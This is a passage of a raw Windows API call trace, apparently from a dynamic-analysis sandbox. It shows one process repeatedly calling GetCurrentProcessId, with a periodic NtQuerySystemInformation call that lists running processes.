GetCurrentProcessId () returned 0xbf4 [0172.841] GetCurrentProcessId () returned 0xbf4 [0172.841] GetCurrentProcessId () returned 0xbf4 [0172.841] GetCurrentProcessId () returned 0xbf4 [0172.842] GetCurrentProcessId () returned 0xbf4 [0172.842] GetCurrentProcessId () returned 0xbf4 [0172.842] GetCurrentProcessId () returned 0xbf4 [0172.842] GetCurrentProcessId () returned 0xbf4 [0172.842] GetCurrentProcessId () returned 0xbf4 [0172.842] GetCurrentProcessId () returned 0xbf4 [0172.842] GetCurrentProcessId () returned 0xbf4 [0172.842] GetCurrentProcessId () returned 0xbf4 [0172.842] GetCurrentProcessId () returned 0xbf4 [0172.842] GetCurrentProcessId () returned 0xbf4 [0172.842] GetCurrentProcessId () returned 0xbf4 [0172.842] GetCurrentProcessId () returned 0xbf4 [0172.842] GetCurrentProcessId () returned 0xbf4 [0172.842] GetCurrentProcessId () returned 0xbf4 [0172.842] GetCurrentProcessId () returned 0xbf4 [0172.842] GetCurrentProcessId () returned 0xbf4 [0172.842] GetCurrentProcessId () returned 0xbf4 [0172.842] GetCurrentProcessId () returned 0xbf4 [0172.842] GetCurrentProcessId () returned 0xbf4 [0172.842] GetCurrentProcessId () returned 0xbf4 [0172.842] GetCurrentProcessId () returned 0xbf4 [0172.842] GetCurrentProcessId () returned 0xbf4 [0172.842] GetCurrentProcessId () returned 0xbf4 [0172.842] GetCurrentProcessId () returned 0xbf4 [0172.842] GetCurrentProcessId () returned 0xbf4 [0172.842] GetCurrentProcessId () returned 0xbf4 [0172.842] GetCurrentProcessId () returned 0xbf4 [0172.842] GetCurrentProcessId () returned 0xbf4 [0172.842] GetCurrentProcessId () returned 0xbf4 [0172.842] GetCurrentProcessId () returned 0xbf4 [0172.843] GetCurrentProcessId () returned 0xbf4 [0172.843] GetCurrentProcessId () returned 0xbf4 [0172.843] GetCurrentProcessId () returned 0xbf4 [0172.843] GetCurrentProcessId () returned 0xbf4 [0172.843] GetCurrentProcessId () returned 0xbf4 [0172.843] GetCurrentProcessId () returned 0xbf4 [0172.843] GetCurrentProcessId () returned 0xbf4 [0172.843] GetCurrentProcessId () returned 0xbf4 [0172.843] GetCurrentProcessId () returned 0xbf4 [0172.843] GetCurrentProcessId () returned 0xbf4 [0172.843] GetCurrentProcessId () returned 0xbf4 [0172.843] GetCurrentProcessId () returned 0xbf4 [0172.843] GetCurrentProcessId () returned 0xbf4 [0172.843] GetCurrentProcessId () returned 0xbf4 [0172.843] GetCurrentProcessId () returned 0xbf4 [0172.843] GetCurrentProcessId () returned 0xbf4 [0172.843] GetCurrentProcessId () returned 0xbf4 [0172.843] GetCurrentProcessId () returned 0xbf4 [0172.843] GetCurrentProcessId () returned 0xbf4 [0172.843] GetCurrentProcessId () returned 0xbf4 [0172.843] GetCurrentProcessId () returned 0xbf4 [0172.843] GetCurrentProcessId () returned 0xbf4 [0172.843] GetCurrentProcessId () returned 0xbf4 [0172.843] GetCurrentProcessId () returned 0xbf4 [0172.843] GetCurrentProcessId () returned 0xbf4 [0173.355] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1bf70) returned 0x0 [0173.360] GetCurrentProcessId () returned 0xbf4 [0173.360] GetCurrentProcessId () returned 0xbf4 [0173.360] GetCurrentProcessId () returned 0xbf4 [0173.360] GetCurrentProcessId () returned 0xbf4 [0173.360] GetCurrentProcessId () returned 0xbf4 [0173.360] GetCurrentProcessId () returned 0xbf4 [0173.360] GetCurrentProcessId () returned 0xbf4 [0173.360] GetCurrentProcessId () returned 0xbf4 [0173.360] GetCurrentProcessId () returned 0xbf4 [0173.360] GetCurrentProcessId () returned 0xbf4 [0173.360] GetCurrentProcessId () returned 0xbf4 [0173.360] GetCurrentProcessId () returned 0xbf4 [0173.360] GetCurrentProcessId () returned 0xbf4 [0173.360] GetCurrentProcessId () returned 0xbf4 [0173.360] GetCurrentProcessId () returned 0xbf4 [0173.360] GetCurrentProcessId () returned 0xbf4 [0173.360] GetCurrentProcessId () returned 0xbf4 [0173.360] GetCurrentProcessId () returned 0xbf4 [0173.360] GetCurrentProcessId () returned 0xbf4 [0173.360] GetCurrentProcessId () returned 0xbf4 [0173.360] GetCurrentProcessId () returned 0xbf4 [0173.360] GetCurrentProcessId () returned 0xbf4 [0173.360] GetCurrentProcessId () returned 0xbf4 [0173.360] GetCurrentProcessId () returned 0xbf4 [0173.360] GetCurrentProcessId () returned 0xbf4 [0173.360] GetCurrentProcessId () returned 0xbf4 [0173.360] GetCurrentProcessId () returned 0xbf4 [0173.361] GetCurrentProcessId () returned 0xbf4 [0173.361] GetCurrentProcessId () returned 0xbf4 [0173.361] GetCurrentProcessId () returned 0xbf4 [0173.361] GetCurrentProcessId () returned 0xbf4 [0173.361] GetCurrentProcessId () returned 0xbf4 [0173.361] GetCurrentProcessId () returned 0xbf4 [0173.361] GetCurrentProcessId () returned 0xbf4 [0173.361] GetCurrentProcessId () returned 0xbf4 [0173.361] GetCurrentProcessId () returned 0xbf4 [0173.361] GetCurrentProcessId () returned 0xbf4 [0173.361] GetCurrentProcessId () returned 0xbf4 [0173.361] GetCurrentProcessId () returned 0xbf4 [0173.361] GetCurrentProcessId () returned 0xbf4 [0173.361] GetCurrentProcessId () returned 0xbf4 [0173.361] GetCurrentProcessId () returned 0xbf4 [0173.361] GetCurrentProcessId () returned 0xbf4 [0173.361] GetCurrentProcessId () returned 0xbf4 [0173.361] GetCurrentProcessId () returned 0xbf4 [0173.361] GetCurrentProcessId () returned 0xbf4 [0173.361] GetCurrentProcessId () returned 0xbf4 [0173.361] GetCurrentProcessId () returned 0xbf4 [0173.361] GetCurrentProcessId () returned 0xbf4 [0173.361] GetCurrentProcessId () returned 0xbf4 [0173.361] GetCurrentProcessId () returned 0xbf4 [0173.361] GetCurrentProcessId () returned 0xbf4 [0173.362] GetCurrentProcessId () returned 0xbf4 [0173.362] GetCurrentProcessId () returned 0xbf4 [0173.362] GetCurrentProcessId () returned 0xbf4 [0173.362] GetCurrentProcessId () returned 0xbf4 [0173.362] GetCurrentProcessId () returned 0xbf4 [0173.362] GetCurrentProcessId () returned 0xbf4 [0173.362] GetCurrentProcessId () returned 0xbf4 [0173.362] GetCurrentProcessId () returned 0xbf4 [0173.362] GetCurrentProcessId () returned 0xbf4 [0173.362] GetCurrentProcessId () returned 0xbf4 [0173.362] GetCurrentProcessId () returned 0xbf4 [0173.362] GetCurrentProcessId () returned 0xbf4 [0173.362] GetCurrentProcessId () returned 0xbf4 [0173.362] GetCurrentProcessId () returned 0xbf4 [0173.362] GetCurrentProcessId () returned 0xbf4 [0173.362] GetCurrentProcessId () returned 0xbf4 [0173.362] GetCurrentProcessId () returned 0xbf4 [0173.362] GetCurrentProcessId () returned 0xbf4 [0173.362] GetCurrentProcessId () returned 0xbf4 [0173.362] GetCurrentProcessId () returned 0xbf4 [0173.362] GetCurrentProcessId () returned 0xbf4 [0173.362] GetCurrentProcessId () returned 0xbf4 [0173.362] GetCurrentProcessId () returned 0xbf4 [0173.362] GetCurrentProcessId () returned 0xbf4 [0173.362] GetCurrentProcessId () returned 0xbf4 [0173.362] GetCurrentProcessId () returned 0xbf4 [0173.362] GetCurrentProcessId () returned 0xbf4 [0173.362] GetCurrentProcessId () returned 0xbf4 [0173.362] GetCurrentProcessId () returned 0xbf4 [0173.362] GetCurrentProcessId () returned 0xbf4 [0173.362] GetCurrentProcessId () returned 0xbf4 [0173.362] GetCurrentProcessId () returned 0xbf4 [0173.362] GetCurrentProcessId () returned 0xbf4 [0173.362] GetCurrentProcessId () returned 0xbf4 [0173.363] GetCurrentProcessId () returned 0xbf4 [0173.363] GetCurrentProcessId () returned 0xbf4 [0173.363] GetCurrentProcessId () returned 0xbf4 [0173.363] GetCurrentProcessId () returned 0xbf4 [0173.363] GetCurrentProcessId () returned 0xbf4 [0173.363] GetCurrentProcessId () returned 0xbf4 [0173.363] GetCurrentProcessId () returned 0xbf4 [0173.363] GetCurrentProcessId () returned 0xbf4 [0173.363] GetCurrentProcessId () returned 0xbf4 [0173.363] GetCurrentProcessId () returned 0xbf4 [0173.363] GetCurrentProcessId () returned 0xbf4 [0173.363] GetCurrentProcessId () returned 0xbf4 [0173.363] GetCurrentProcessId () returned 0xbf4 [0173.363] GetCurrentProcessId () returned 0xbf4 [0173.363] GetCurrentProcessId () returned 0xbf4 [0173.363] GetCurrentProcessId () returned 0xbf4 [0173.363] GetCurrentProcessId () returned 0xbf4 [0173.363] GetCurrentProcessId () returned 0xbf4 [0173.363] GetCurrentProcessId () returned 0xbf4 [0173.897] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1c060) returned 0x0 [0173.906] GetCurrentProcessId () returned 0xbf4 [0173.906] GetCurrentProcessId () returned 0xbf4 [0173.906] GetCurrentProcessId () returned 0xbf4 [0173.906] GetCurrentProcessId () returned 0xbf4 [0173.906] GetCurrentProcessId () returned 0xbf4 [0173.906] GetCurrentProcessId () returned 0xbf4 [0173.906] GetCurrentProcessId () returned 0xbf4 [0173.906] GetCurrentProcessId () returned 0xbf4 [0173.906] GetCurrentProcessId () returned 0xbf4 [0173.907] GetCurrentProcessId () returned 0xbf4 [0173.907] GetCurrentProcessId () returned 0xbf4 [0173.907] GetCurrentProcessId () returned 0xbf4 [0173.907] GetCurrentProcessId () returned 0xbf4 [0173.907] GetCurrentProcessId () returned 0xbf4 [0173.907] GetCurrentProcessId () returned 0xbf4 [0173.907] GetCurrentProcessId () returned 0xbf4 [0173.907] GetCurrentProcessId () returned 0xbf4 [0173.907] GetCurrentProcessId () returned 0xbf4 [0173.907] GetCurrentProcessId () returned 0xbf4 [0173.907] GetCurrentProcessId () returned 0xbf4 [0173.907] GetCurrentProcessId () returned 0xbf4 [0173.907] GetCurrentProcessId () returned 0xbf4 [0173.907] GetCurrentProcessId () returned 0xbf4 [0173.907] GetCurrentProcessId () returned 0xbf4 [0173.907] GetCurrentProcessId () returned 0xbf4 [0173.907] GetCurrentProcessId () returned 0xbf4 [0173.907] GetCurrentProcessId () returned 0xbf4 [0173.907] GetCurrentProcessId () returned 0xbf4 [0173.907] GetCurrentProcessId () returned 0xbf4 [0173.907] GetCurrentProcessId () returned 0xbf4 [0173.907] GetCurrentProcessId () returned 0xbf4 [0173.907] GetCurrentProcessId () returned 0xbf4 [0173.907] GetCurrentProcessId () returned 0xbf4 [0173.907] GetCurrentProcessId () returned 0xbf4 [0173.907] GetCurrentProcessId () returned 0xbf4 [0173.907] GetCurrentProcessId () returned 0xbf4 [0173.908] GetCurrentProcessId () returned 0xbf4 [0173.908] GetCurrentProcessId () returned 0xbf4 [0173.908] GetCurrentProcessId () returned 0xbf4 [0173.908] GetCurrentProcessId () returned 0xbf4 [0173.908] GetCurrentProcessId () returned 0xbf4 [0173.908] GetCurrentProcessId () returned 0xbf4 [0173.908] GetCurrentProcessId () returned 0xbf4 [0173.908] GetCurrentProcessId () returned 0xbf4 [0173.908] GetCurrentProcessId () returned 0xbf4 [0173.908] GetCurrentProcessId () returned 0xbf4 [0173.908] GetCurrentProcessId () returned 0xbf4 [0173.908] GetCurrentProcessId () returned 0xbf4 [0173.908] GetCurrentProcessId () returned 0xbf4 [0173.908] GetCurrentProcessId () returned 0xbf4 [0173.908] GetCurrentProcessId () returned 0xbf4 [0173.908] GetCurrentProcessId () returned 0xbf4 [0173.908] GetCurrentProcessId () returned 0xbf4 [0173.908] GetCurrentProcessId () returned 0xbf4 [0173.908] GetCurrentProcessId () returned 0xbf4 [0173.908] GetCurrentProcessId () returned 0xbf4 [0173.908] GetCurrentProcessId () returned 0xbf4 [0173.908] GetCurrentProcessId () returned 0xbf4 [0173.908] GetCurrentProcessId () returned 0xbf4 [0173.908] GetCurrentProcessId () returned 0xbf4 [0173.909] GetCurrentProcessId () returned 0xbf4 [0173.909] GetCurrentProcessId () returned 0xbf4 [0173.909] GetCurrentProcessId () returned 0xbf4 [0173.909] GetCurrentProcessId () returned 0xbf4 [0173.909] GetCurrentProcessId () returned 0xbf4 [0173.909] GetCurrentProcessId () returned 0xbf4 [0173.909] GetCurrentProcessId () returned 0xbf4 [0173.909] GetCurrentProcessId () returned 0xbf4 [0173.909] GetCurrentProcessId () returned 0xbf4 [0173.909] GetCurrentProcessId () returned 0xbf4 [0173.909] GetCurrentProcessId () returned 0xbf4 [0173.909] GetCurrentProcessId () returned 0xbf4 [0173.909] GetCurrentProcessId () returned 0xbf4 [0173.909] GetCurrentProcessId () returned 0xbf4 [0173.909] GetCurrentProcessId () returned 0xbf4 [0173.909] GetCurrentProcessId () returned 0xbf4 [0173.909] GetCurrentProcessId () returned 0xbf4 [0173.909] GetCurrentProcessId () returned 0xbf4 [0173.909] GetCurrentProcessId () returned 0xbf4 [0173.909] GetCurrentProcessId () returned 0xbf4 [0173.909] GetCurrentProcessId () returned 0xbf4 [0173.909] GetCurrentProcessId () returned 0xbf4 [0173.909] GetCurrentProcessId () returned 0xbf4 [0173.909] GetCurrentProcessId () returned 0xbf4 [0173.909] GetCurrentProcessId () returned 0xbf4 [0173.909] GetCurrentProcessId () returned 0xbf4 [0173.910] GetCurrentProcessId () returned 0xbf4 [0173.910] GetCurrentProcessId () returned 0xbf4 [0173.910] GetCurrentProcessId () returned 0xbf4 [0173.910] GetCurrentProcessId () returned 0xbf4 [0173.910] GetCurrentProcessId () returned 0xbf4 [0173.910] GetCurrentProcessId () returned 0xbf4 [0173.910] GetCurrentProcessId () returned 0xbf4 [0173.910] GetCurrentProcessId () returned 0xbf4 [0173.910] GetCurrentProcessId () returned 0xbf4 [0173.910] GetCurrentProcessId () returned 0xbf4 [0173.910] GetCurrentProcessId () returned 0xbf4 [0173.910] GetCurrentProcessId () returned 0xbf4 [0173.910] GetCurrentProcessId () returned 0xbf4 [0173.910] GetCurrentProcessId () returned 0xbf4 [0173.910] GetCurrentProcessId () returned 0xbf4 [0173.910] GetCurrentProcessId () returned 0xbf4 [0173.910] GetCurrentProcessId () returned 0xbf4 [0173.910] GetCurrentProcessId () returned 0xbf4 [0173.910] GetCurrentProcessId () returned 0xbf4 [0174.615] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1c2a8) returned 0x0 [0174.624] GetCurrentProcessId () returned 0xbf4 [0174.624] GetCurrentProcessId () returned 0xbf4 [0174.624] GetCurrentProcessId () returned 0xbf4 [0174.624] GetCurrentProcessId () returned 0xbf4 [0174.624] GetCurrentProcessId () returned 0xbf4 [0174.624] GetCurrentProcessId () returned 0xbf4 [0174.624] GetCurrentProcessId () returned 0xbf4 [0174.624] GetCurrentProcessId () returned 0xbf4 [0174.624] GetCurrentProcessId () returned 0xbf4 [0174.624] GetCurrentProcessId () returned 0xbf4 [0174.624] GetCurrentProcessId () returned 0xbf4 [0174.624] GetCurrentProcessId () returned 0xbf4 [0174.624] GetCurrentProcessId () returned 0xbf4 [0174.624] GetCurrentProcessId () returned 0xbf4 [0174.624] GetCurrentProcessId () returned 0xbf4 [0174.624] GetCurrentProcessId () returned 0xbf4 [0174.624] GetCurrentProcessId () returned 0xbf4 [0174.624] GetCurrentProcessId () returned 0xbf4 [0174.624] GetCurrentProcessId () returned 0xbf4 [0174.624] GetCurrentProcessId () returned 0xbf4 [0174.624] GetCurrentProcessId () returned 0xbf4 [0174.625] GetCurrentProcessId () returned 0xbf4 [0174.625] GetCurrentProcessId () returned 0xbf4 [0174.625] GetCurrentProcessId () returned 0xbf4 [0174.625] GetCurrentProcessId () returned 0xbf4 [0174.625] GetCurrentProcessId () returned 0xbf4 [0174.625] GetCurrentProcessId () returned 0xbf4 [0174.625] GetCurrentProcessId () returned 0xbf4 [0174.626] GetCurrentProcessId () returned 0xbf4 [0174.626] GetCurrentProcessId () returned 0xbf4 [0174.626] GetCurrentProcessId () returned 0xbf4 [0174.626] GetCurrentProcessId () returned 0xbf4 [0174.626] GetCurrentProcessId () returned 0xbf4 [0174.626] GetCurrentProcessId () returned 0xbf4 [0174.626] GetCurrentProcessId () returned 0xbf4 [0174.626] GetCurrentProcessId () returned 0xbf4 [0174.626] GetCurrentProcessId () returned 0xbf4 [0174.626] GetCurrentProcessId () returned 0xbf4 [0174.626] GetCurrentProcessId () returned 0xbf4 [0174.626] GetCurrentProcessId () returned 0xbf4 [0174.626] GetCurrentProcessId () returned 0xbf4 [0174.626] GetCurrentProcessId () returned 0xbf4 [0174.626] GetCurrentProcessId () returned 0xbf4 [0174.626] GetCurrentProcessId () returned 0xbf4 [0174.626] GetCurrentProcessId () returned 0xbf4 [0174.626] GetCurrentProcessId () returned 0xbf4 [0174.626] GetCurrentProcessId () returned 0xbf4 [0174.626] GetCurrentProcessId () returned 0xbf4 [0174.626] GetCurrentProcessId () returned 0xbf4 [0174.626] GetCurrentProcessId () returned 0xbf4 [0174.626] GetCurrentProcessId () returned 0xbf4 [0174.626] GetCurrentProcessId () returned 0xbf4 [0174.626] GetCurrentProcessId () returned 0xbf4 [0174.626] GetCurrentProcessId () returned 0xbf4 [0174.627] GetCurrentProcessId () returned 0xbf4 [0174.627] GetCurrentProcessId () returned 0xbf4 [0174.627] GetCurrentProcessId () returned 0xbf4 [0174.627] GetCurrentProcessId () returned 0xbf4 [0174.627] GetCurrentProcessId () returned 0xbf4 [0174.627] GetCurrentProcessId () returned 0xbf4 [0174.627] GetCurrentProcessId () returned 0xbf4 [0174.627] GetCurrentProcessId () returned 0xbf4 [0174.627] GetCurrentProcessId () returned 0xbf4 [0174.627] GetCurrentProcessId () returned 0xbf4 [0174.627] GetCurrentProcessId () returned 0xbf4 [0174.627] GetCurrentProcessId () returned 0xbf4 [0174.627] GetCurrentProcessId () returned 0xbf4 [0174.627] GetCurrentProcessId () returned 0xbf4 [0174.627] GetCurrentProcessId () returned 0xbf4 [0174.627] GetCurrentProcessId () returned 0xbf4 [0174.627] GetCurrentProcessId () returned 0xbf4 [0174.627] GetCurrentProcessId () returned 0xbf4 [0174.627] GetCurrentProcessId () returned 0xbf4 [0174.627] GetCurrentProcessId () returned 0xbf4 [0174.627] GetCurrentProcessId () returned 0xbf4 [0174.627] GetCurrentProcessId () returned 0xbf4 [0174.627] GetCurrentProcessId () returned 0xbf4 [0174.627] GetCurrentProcessId () returned 0xbf4 [0174.627] GetCurrentProcessId () returned 0xbf4 [0174.628] GetCurrentProcessId () returned 0xbf4 [0174.628] GetCurrentProcessId () returned 0xbf4 [0174.628] GetCurrentProcessId () returned 0xbf4 [0174.628] GetCurrentProcessId () returned 0xbf4 [0174.628] GetCurrentProcessId () returned 0xbf4 [0174.628] GetCurrentProcessId () returned 0xbf4 [0174.628] GetCurrentProcessId () returned 0xbf4 [0174.628] GetCurrentProcessId () returned 0xbf4 [0174.628] GetCurrentProcessId () returned 0xbf4 [0174.628] GetCurrentProcessId () returned 0xbf4 [0174.628] GetCurrentProcessId () returned 0xbf4 [0174.628] GetCurrentProcessId () returned 0xbf4 [0174.628] GetCurrentProcessId () returned 0xbf4 [0174.628] GetCurrentProcessId () returned 0xbf4 [0174.628] GetCurrentProcessId () returned 0xbf4 [0174.629] GetCurrentProcessId () returned 0xbf4 [0174.629] GetCurrentProcessId () returned 0xbf4 [0174.629] GetCurrentProcessId () returned 0xbf4 [0174.629] GetCurrentProcessId () returned 0xbf4 [0174.629] GetCurrentProcessId () returned 0xbf4 [0174.629] GetCurrentProcessId () returned 0xbf4 [0174.629] GetCurrentProcessId () returned 0xbf4 [0174.629] GetCurrentProcessId () returned 0xbf4 [0174.629] GetCurrentProcessId () returned 0xbf4 [0174.629] GetCurrentProcessId () returned 0xbf4 [0174.629] GetCurrentProcessId () returned 0xbf4 [0174.629] GetCurrentProcessId () returned 0xbf4 [0175.243] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1c590) returned 0x0 [0175.266] GetCurrentProcessId () returned 0xbf4 [0175.266] GetCurrentProcessId () returned 0xbf4 [0175.267] GetCurrentProcessId () returned 0xbf4 [0175.267] GetCurrentProcessId () returned 0xbf4 [0175.267] GetCurrentProcessId () returned 0xbf4 [0175.267] GetCurrentProcessId () returned 0xbf4 [0175.267] GetCurrentProcessId () returned 0xbf4 [0175.267] GetCurrentProcessId () returned 0xbf4 [0175.267] GetCurrentProcessId () returned 0xbf4 [0175.267] GetCurrentProcessId () returned 0xbf4 [0175.267] GetCurrentProcessId () returned 0xbf4 [0175.267] GetCurrentProcessId () returned 0xbf4 [0175.267] GetCurrentProcessId () returned 0xbf4 [0175.267] GetCurrentProcessId () returned 0xbf4 [0175.267] GetCurrentProcessId () returned 0xbf4 [0175.267] GetCurrentProcessId () returned 0xbf4 [0175.267] GetCurrentProcessId () returned 0xbf4 [0175.267] GetCurrentProcessId () returned 0xbf4 [0175.267] GetCurrentProcessId () returned 0xbf4 [0175.267] GetCurrentProcessId () returned 0xbf4 [0175.268] GetCurrentProcessId () returned 0xbf4 [0175.268] GetCurrentProcessId () returned 0xbf4 [0175.268] GetCurrentProcessId () returned 0xbf4 [0175.268] GetCurrentProcessId () returned 0xbf4 [0175.268] GetCurrentProcessId () returned 0xbf4 [0175.268] GetCurrentProcessId () returned 0xbf4 [0175.268] GetCurrentProcessId () returned 0xbf4 [0175.268] GetCurrentProcessId () returned 0xbf4 [0175.268] GetCurrentProcessId () returned 0xbf4 [0175.268] GetCurrentProcessId () returned 0xbf4 [0175.268] GetCurrentProcessId () returned 0xbf4 [0175.268] GetCurrentProcessId () returned 0xbf4 [0175.268] GetCurrentProcessId () returned 0xbf4 [0175.268] GetCurrentProcessId () returned 0xbf4 [0175.268] GetCurrentProcessId () returned 0xbf4 [0175.268] GetCurrentProcessId () returned 0xbf4 [0175.268] GetCurrentProcessId () returned 0xbf4 [0175.268] GetCurrentProcessId () returned 0xbf4 [0175.268] GetCurrentProcessId () returned 0xbf4 [0175.268] GetCurrentProcessId () returned 0xbf4 [0175.268] GetCurrentProcessId () returned 0xbf4 [0175.268] GetCurrentProcessId () returned 0xbf4 [0175.268] GetCurrentProcessId () returned 0xbf4 [0175.269] GetCurrentProcessId () returned 0xbf4 [0175.269] GetCurrentProcessId () returned 0xbf4 [0175.269] GetCurrentProcessId () returned 0xbf4 [0175.269] GetCurrentProcessId () returned 0xbf4 [0175.269] GetCurrentProcessId () returned 0xbf4 [0175.269] GetCurrentProcessId () returned 0xbf4 [0175.269] GetCurrentProcessId () returned 0xbf4 [0175.269] GetCurrentProcessId () returned 0xbf4 [0175.269] GetCurrentProcessId () returned 0xbf4 [0175.269] GetCurrentProcessId () returned 0xbf4 [0175.269] GetCurrentProcessId () returned 0xbf4 [0175.269] GetCurrentProcessId () returned 0xbf4 [0175.270] GetCurrentProcessId () returned 0xbf4 [0175.270] GetCurrentProcessId () returned 0xbf4 [0175.270] GetCurrentProcessId () returned 0xbf4 [0175.270] GetCurrentProcessId () returned 0xbf4 [0175.270] GetCurrentProcessId () returned 0xbf4 [0175.270] GetCurrentProcessId () returned 0xbf4 [0175.270] GetCurrentProcessId () returned 0xbf4 [0175.270] GetCurrentProcessId () returned 0xbf4 [0175.270] GetCurrentProcessId () returned 0xbf4 [0175.270] GetCurrentProcessId () returned 0xbf4 [0175.270] GetCurrentProcessId () returned 0xbf4 [0175.270] GetCurrentProcessId () returned 0xbf4 [0175.270] GetCurrentProcessId () returned 0xbf4 [0175.270] GetCurrentProcessId () returned 0xbf4 [0175.270] GetCurrentProcessId () returned 0xbf4 [0175.270] GetCurrentProcessId () returned 0xbf4 [0175.270] GetCurrentProcessId () returned 0xbf4 [0175.270] GetCurrentProcessId () returned 0xbf4 [0175.270] GetCurrentProcessId () returned 0xbf4 [0175.270] GetCurrentProcessId () returned 0xbf4 [0175.270] GetCurrentProcessId () returned 0xbf4 [0175.270] GetCurrentProcessId () returned 0xbf4 [0175.270] GetCurrentProcessId () returned 0xbf4 [0175.271] GetCurrentProcessId () returned 0xbf4 [0175.271] GetCurrentProcessId () returned 0xbf4 [0175.271] GetCurrentProcessId () returned 0xbf4 [0175.271] GetCurrentProcessId () returned 0xbf4 [0175.271] GetCurrentProcessId () returned 0xbf4 [0175.271] GetCurrentProcessId () returned 0xbf4 [0175.271] GetCurrentProcessId () returned 0xbf4 [0175.271] GetCurrentProcessId () returned 0xbf4 [0175.271] GetCurrentProcessId () returned 0xbf4 [0175.271] GetCurrentProcessId () returned 0xbf4 [0175.271] GetCurrentProcessId () returned 0xbf4 [0175.271] GetCurrentProcessId () returned 0xbf4 [0175.271] GetCurrentProcessId () returned 0xbf4 [0175.271] GetCurrentProcessId () returned 0xbf4 [0175.271] GetCurrentProcessId () returned 0xbf4 [0175.271] GetCurrentProcessId () returned 0xbf4 [0175.271] GetCurrentProcessId () returned 0xbf4 [0175.271] GetCurrentProcessId () returned 0xbf4 [0175.271] GetCurrentProcessId () returned 0xbf4 [0175.272] GetCurrentProcessId () returned 0xbf4 [0175.272] GetCurrentProcessId () returned 0xbf4 [0175.272] GetCurrentProcessId () returned 0xbf4 [0175.272] GetCurrentProcessId () returned 0xbf4 [0175.272] GetCurrentProcessId () returned 0xbf4 [0175.272] GetCurrentProcessId () returned 0xbf4 [0175.272] GetCurrentProcessId () returned 0xbf4 [0175.272] GetCurrentProcessId () returned 0xbf4 [0175.272] GetCurrentProcessId () returned 0xbf4 [0175.272] GetCurrentProcessId () returned 0xbf4 [0175.869] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1c5e0) returned 0x0 [0175.887] GetCurrentProcessId () returned 0xbf4 [0175.887] GetCurrentProcessId () returned 0xbf4 [0175.887] GetCurrentProcessId () returned 0xbf4 [0175.887] GetCurrentProcessId () returned 0xbf4 [0175.887] GetCurrentProcessId () returned 0xbf4 [0175.887] GetCurrentProcessId () returned 0xbf4 [0175.887] GetCurrentProcessId () returned 0xbf4 [0175.887] GetCurrentProcessId () returned 0xbf4 [0175.887] GetCurrentProcessId () returned 0xbf4 [0175.887] GetCurrentProcessId () returned 0xbf4 [0175.887] GetCurrentProcessId () returned 0xbf4 [0175.887] GetCurrentProcessId () returned 0xbf4 [0175.887] GetCurrentProcessId () returned 0xbf4 [0175.888] GetCurrentProcessId () returned 0xbf4 [0175.888] GetCurrentProcessId () returned 0xbf4 [0175.888] GetCurrentProcessId () returned 0xbf4 [0175.888] GetCurrentProcessId () returned 0xbf4 [0175.888] GetCurrentProcessId () returned 0xbf4 [0175.888] GetCurrentProcessId () returned 0xbf4 [0175.888] GetCurrentProcessId () returned 0xbf4 [0175.888] GetCurrentProcessId () returned 0xbf4 [0175.888] GetCurrentProcessId () returned 0xbf4 [0175.888] GetCurrentProcessId () returned 0xbf4 [0175.888] GetCurrentProcessId () returned 0xbf4 [0175.888] GetCurrentProcessId () returned 0xbf4 [0175.888] GetCurrentProcessId () returned 0xbf4 [0175.888] GetCurrentProcessId () returned 0xbf4 [0175.888] GetCurrentProcessId () returned 0xbf4 [0175.888] GetCurrentProcessId () returned 0xbf4 [0175.888] GetCurrentProcessId () returned 0xbf4 [0175.888] GetCurrentProcessId () returned 0xbf4 [0175.888] GetCurrentProcessId () returned 0xbf4 [0175.888] GetCurrentProcessId () returned 0xbf4 [0175.888] GetCurrentProcessId () returned 0xbf4 [0175.888] GetCurrentProcessId () returned 0xbf4 [0175.888] GetCurrentProcessId () returned 0xbf4 [0175.888] GetCurrentProcessId () returned 0xbf4 [0175.888] GetCurrentProcessId () returned 0xbf4 [0175.888] GetCurrentProcessId () returned 0xbf4 [0175.889] GetCurrentProcessId () returned 0xbf4 [0175.889] GetCurrentProcessId () returned 0xbf4 [0175.889] GetCurrentProcessId () returned 0xbf4 [0175.889] GetCurrentProcessId () returned 0xbf4 [0175.889] GetCurrentProcessId () returned 0xbf4 [0175.889] GetCurrentProcessId () returned 0xbf4 [0175.889] GetCurrentProcessId () returned 0xbf4 [0175.889] GetCurrentProcessId () returned 0xbf4 [0175.889] GetCurrentProcessId () returned 0xbf4 [0175.889] GetCurrentProcessId () returned 0xbf4 [0175.889] GetCurrentProcessId () returned 0xbf4 [0175.889] GetCurrentProcessId () returned 0xbf4 [0175.889] GetCurrentProcessId () returned 0xbf4 [0175.889] GetCurrentProcessId () returned 0xbf4 [0175.889] GetCurrentProcessId () returned 0xbf4 [0175.889] GetCurrentProcessId () returned 0xbf4 [0175.889] GetCurrentProcessId () returned 0xbf4 [0175.889] GetCurrentProcessId () returned 0xbf4 [0175.889] GetCurrentProcessId () returned 0xbf4 [0175.889] GetCurrentProcessId () returned 0xbf4 [0175.889] GetCurrentProcessId () returned 0xbf4 [0175.889] GetCurrentProcessId () returned 0xbf4 [0175.889] GetCurrentProcessId () returned 0xbf4 [0175.889] GetCurrentProcessId () returned 0xbf4 [0175.889] GetCurrentProcessId () returned 0xbf4 [0175.890] GetCurrentProcessId () returned 0xbf4 [0175.890] GetCurrentProcessId () returned 0xbf4 [0175.890] GetCurrentProcessId () returned 0xbf4 [0175.890] GetCurrentProcessId () returned 0xbf4 [0175.890] GetCurrentProcessId () returned 0xbf4 [0175.890] GetCurrentProcessId () returned 0xbf4 [0175.890] GetCurrentProcessId () returned 0xbf4 [0175.890] GetCurrentProcessId () returned 0xbf4 [0175.890] 